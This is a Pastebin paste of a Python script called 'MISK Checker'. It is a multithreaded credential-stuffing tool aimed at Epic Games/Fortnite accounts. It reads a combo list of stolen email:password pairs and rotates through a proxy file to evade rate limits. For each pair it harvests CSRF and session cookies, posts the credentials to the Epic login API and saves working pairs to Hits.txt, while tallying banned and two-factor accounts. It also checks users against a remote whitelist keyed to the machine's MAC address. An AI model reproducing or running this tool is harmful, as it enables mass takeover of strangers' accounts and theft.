Advertisement
69TOKYO96

MISK

Dec 6th, 2019
93
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.61 KB | None | 0 0
  1. import os
  2. import random
  3. import threading
  4. import time
  5. import tkinter
  6. from tkinter import filedialog
  7. from pypresence import Presence
  8. import pypresence
  9. import requests
  10. from colorama import Fore
  11. import uuid
  12. import requests as r
  13. import uuid
  14. import time
  15. logo = """
  16. ███▄ ▄███▓ ██▓ ██████ ██ ▄█▀ ▄████▄ ██░ ██ ▓█████ ▄████▄ ██ ▄█▀▓█████ ██▀███
  17. ▓██▒▀█▀ ██▒▓██▒▒██ ▒ ██▄█▒ ▒██▀ ▀█ ▓██░ ██▒▓█ ▀ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒
  18. ▓██ ▓██░▒██▒░ ▓██▄ ▓███▄░ ▒▓█ ▄ ▒██▀▀██░▒███ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒
  19. ▒██ ▒██ ░██░ ▒ ██▒▓██ █▄ ▒▓▓▄ ▄██▒░▓█ ░██ ▒▓█ ▄ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄
  20. ▒██▒ ░██▒░██░▒██████▒▒▒██▒ █▄ ▒ ▓███▀ ░░▓█▒░██▓░▒████▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒
  21. ░ ▒░ ░ ░░▓ ▒ ▒▓▒ ▒ ░▒ ▒▒ ▓▒ ░ ░▒ ▒ ░ ▒ ░░▒░▒░░ ▒░ ░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░
  22. ░ ░ ░ ▒ ░░ ░▒ ░ ░░ ░▒ ▒░ ░ ▒ ▒ ░▒░ ░ ░ ░ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░
  23. ░ ░ ▒ ░░ ░ ░ ░ ░░ ░ ░ ░ ░░ ░ ░ ░ ░ ░░ ░ ░ ░░ ░
  24. ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░░ ░ ░ ░ ░ ░ ░
  25. """
  26. print(logo)
  27. asd = uuid.getnode()
  28. verified = False
  29. link = 'https://pastebin.com/raw/HdjpKAFK'
  30. texts = r.get(link)
  31. texts = texts.text.split()
  32. for uuid in texts:
  33. if uuid == str(asd):
  34. verified = True
  35. break
  36.  
  37. if not verified == True:
  38. print('You\'re not whitelisted. Make sure you sent your uuid to !Not MisK#0682(Copied to your clipboard)')
  39. import pyperclip
  40.  
  41. pyperclip.copy(asd)
  42. pyperclip.paste()
  43. input()
  44. exit()
  45. else:
  46. print('You\'re allowed to use this software. Enjoy! (:')
  47. time.sleep(3)
  48. os.system('cls')
  49.  
  50. now = time.time()
  51. err = False
  52. client_id = "652519069890904105"
  53. RPC = Presence(client_id=client_id)
  54. try:
  55. RPC.connect()
  56. RPC.update(large_image="black15_1", details="MISK CHECKER", start=now)
  57. except (pypresence.InvalidPipe, pypresence.InvalidID, pypresence.PyPresenceException):
  58. err = True
  59.  
  60. num = 0
  61. ACCIndex = 0
  62. CPM = 0
  63. CPM1 = 0
  64. Bad = 0
  65. Banned = 0
  66. Hits = 0
  67. two_Factor = 0
  68. Checked = 0
  69. emailVerified = 0
  70. account_locked = 0
  71. root = tkinter.Tk()
  72. root.withdraw()
  73.  
  74. os.system('cls')
  75.  
  76.  
  77. def get_Session(proxies):
  78. api_sender = requests.session()
  79. prxi = proxies.split(":")
  80. if len(prxi) == 2:
  81. api_sender.proxies = {"https": proxies}
  82. return api_sender
  83. elif len(prxi) == 4:
  84. api_sender.proxies = {"https": f"http://{prxi[2]}:{prxi[3]}@{prxi[0]}:{prxi[1]}"}
  85. return api_sender
  86. else:
  87. api_sender = "broken"
  88. return api_sender
  89.  
  90.  
  91. def GetProxies():
  92. file = filedialog.askopenfile(parent=root, mode='rb', title='Choose a Proxy file',
  93. filetype=(("txt", "*.txt"), ("All files", "*.txt")))
  94. if file is not None:
  95. try:
  96. loadedFile = open(file.name).readlines()
  97. arrange = [lines.replace("\n", "") for lines in loadedFile]
  98. except ValueError:
  99. try:
  100. loadedFilee = open(file.name, encoding="utf-8").readlines()
  101. arrange1 = [lines.replace("\n", "") for lines in loadedFilee]
  102. except ValueError:
  103. print(Fore.WHITE + "Cannot open file, Unsupported encoding.")
  104. else:
  105. return arrange1
  106. else:
  107. return arrange
  108. else:
  109. print(Fore.WHITE + "No file Chosen")
  110.  
  111.  
  112. def start(amount):
  113. reload()
  114. discord()
  115.  
  116. global num
  117.  
  118. while True:
  119. if threading.active_count() < Threads:
  120. if amount > num:
  121. threading.Thread(target=thread, args=()).start()
  122. num += 1
  123.  
  124.  
  125. print('\n')
  126. print(logo)
  127. print('\n' + Fore.LIGHTRED_EX + ' Misk-Checker Menu ''\n')
  128. print('\n')
  129. Threads = int(input(Fore.RED + ' [!] ' + Fore.WHITE + ' Threads Amount: ' + Fore.WHITE))
  130. print('\n')
  131. print(Fore.RED + ' [!] ' + Fore.WHITE + ' Select proxies: ', end='')
  132. proxies = GetProxies()
  133. print(Fore.WHITE + 'Proxies added.')
  134. print('\n')
  135. print(Fore.RED + ' [!]' + Fore.WHITE + ' Select Combo File: ', end='')
  136. file = filedialog.askopenfile(parent=root, mode='rb', title='Choose a Combo file')
  137. print(Fore.WHITE + 'Combo File added.')
  138. time.sleep(2)
  139. combo = open(file.name).readlines()
  140. arrange = [lines.replace("\n", "") for lines in combo]
  141.  
  142.  
  143. def thread():
  144. sess = get_Session(random.choice(proxies))
  145.  
  146. global CPM1
  147. global ACCIndex
  148. global Hits
  149. global Bad
  150. global Banned
  151. global Checked
  152. global two_Factor
  153. global account_locked
  154. global emailVerified
  155.  
  156. ACCIndex += 1
  157.  
  158. combo = arrange[ACCIndex - 1]
  159.  
  160. ARR = combo.split(":")
  161.  
  162. usern = ARR[0]
  163. passw = ARR[1]
  164. getCookX = sess.get("https://www.epicgames.com/id/api/csrf")
  165.  
  166. getCook = sess.get("https://www.epicgames.com/id/login?lang=en_U")
  167. xsrf_cookie_tok = getCookX.cookies.get('XSRF-TOKEN')
  168. epic_sess_id_tok = getCook.cookies.get('EPIC_SESSION_ID')
  169. epic_sso_tok = getCook.cookies.get('EPIC_SSO_SESSION')
  170. epic_funnel_tok = getCook.cookies.get('EPIC_FUNNEL_ID')
  171. epic_device_took = getCook.cookies.get('EPIC_DEVICE')
  172. muid_took = getCook.cookies.get('MUID')
  173. sailthru_took = getCook.cookies.get('sailthru_hid')
  174. ajs_anony_took = getCook.cookies.get('ajs_anonymous_id')
  175. epic_SID_took = getCook.cookies.get('_epicSID')
  176.  
  177. data = {
  178.  
  179. "email": usern,
  180. "password": passw,
  181. "rememberMe": True
  182.  
  183. }
  184.  
  185. headers = {
  186.  
  187. "authority": "www.epicgames.com",
  188. "method": "POST",
  189. "accept": "application/json, text/plain, */*",
  190. "accept-encoding": "gzip, deflate, br",
  191. "accept-language": "en-US,en;q=0.9",
  192. "content-type": "application/json;charset=UTF-8",
  193. "x-requested-with": "XMLHttpRequest",
  194. "x-xsrf-token": xsrf_cookie_tok,
  195. "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36",
  196. "cookie": f"EPIC_COUNTRY=IL; EPIC_SESSION_ID={epic_sess_id_tok}; EPIC_SSO_SESSION={epic_sso_tok}; XSRF-TOKEN={xsrf_cookie_tok}; EPIC_FUNNEL_ID={epic_funnel_tok}; EPIC_DEVICE={epic_device_took}; epicCountry=IL; MUID={muid_took}; sailthru_hid={sailthru_took}; ajs_group_id=null; ajs_anonymous_id={ajs_anony_took}; EPIC_LOCALE_COOKIE=en-US; _epicSID={epic_SID_took}"
  197.  
  198. }
  199.  
  200. sendReq = sess.post("https://www.epicgames.com/id/api/login", json=data, headers=headers)
  201.  
  202. Checked += 1
  203.  
  204. if sendReq.text == "":
  205. Hits += 1
  206. two_Factor += 1
  207. account_locked += 1
  208. f = open("Hits.txt", "a")
  209. f.write(f"{usern}:{passw} \n")
  210. f.close()
  211. else:
  212. Bad += 1
  213. if sendReq.json()['errorCode'] == "errors.com.epicgames.account.account_not_active":
  214. Banned += 1
  215. if sendReq.json()['errorCode'] == "errors.com.epicgames.common.two_factor_authentication.required":
  216. two_Factor += 1
  217.  
  218. CPM1 += 1
  219.  
  220.  
  221. HowManyTimes = int(len(combo))
  222.  
  223.  
  224. def discord():
  225. if err == False:
  226. RPC.update(large_image="main", large_text="Fortnite Checker", details=f"Checked [{Checked}/{HowManyTimes}]",
  227. start=now)
  228. time.sleep(15)
  229. threading.Thread(target=discord, args=(), ).start()
  230.  
  231.  
  232. def reload():
  233. global Valid
  234. global Checked
  235. global Invalid
  236. global HowManyTimes
  237. global CPM
  238. global Banned
  239. global CPM1
  240. global two_Factor
  241. global emailVerified
  242.  
  243. os.system("cls")
  244.  
  245. CPM = CPM1
  246. CPM1 = 0
  247.  
  248. print(logo)
  249. print(Fore.WHITE + "[" + Fore.LIGHTBLACK_EX + str(Threads) + Fore.WHITE + "/" + Fore.WHITE + str(Threads) + Fore.WHITE + "] Threads")
  250. print(Fore.WHITE + "[" + Fore.CYAN + str(Checked) + Fore.GREEN + "/" + Fore.WHITE + str(HowManyTimes) + Fore.WHITE + "] Checked")
  251. print(Fore.WHITE + "[" + Fore.LIGHTRED_EX + str(Bad) + Fore.RED + "/" + Fore.WHITE + str( HowManyTimes) + Fore.WHITE + "] Invalid")
  252. print(Fore.WHITE + "[" + Fore.LIGHTGREEN_EX + str(Hits) + Fore.WHITE + "/" + Fore.WHITE + str(HowManyTimes) + Fore.WHITE + "] Valid")
  253. print(Fore.WHITE + "[" + Fore.RED + str(Banned) + "/" + Fore.WHITE + str(HowManyTimes) + Fore.WHITE + "] Banned Accounts")
  254. print(Fore.WHITE + "[" + Fore.YELLOW + str(two_Factor) + Fore.YELLOW + "/" + Fore.WHITE + str(HowManyTimes) + Fore.WHITE + "] 2FA Accounts")
  255. print(Fore.WHITE + "[" + Fore.LIGHTWHITE_EX + str(CPM * 60) + Fore.WHITE + "] CPM")
  256.  
  257. time.sleep(1)
  258. threading.Thread(target=reload, args=(), ).start()
  259.  
  260.  
  261. start(HowManyTimes)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement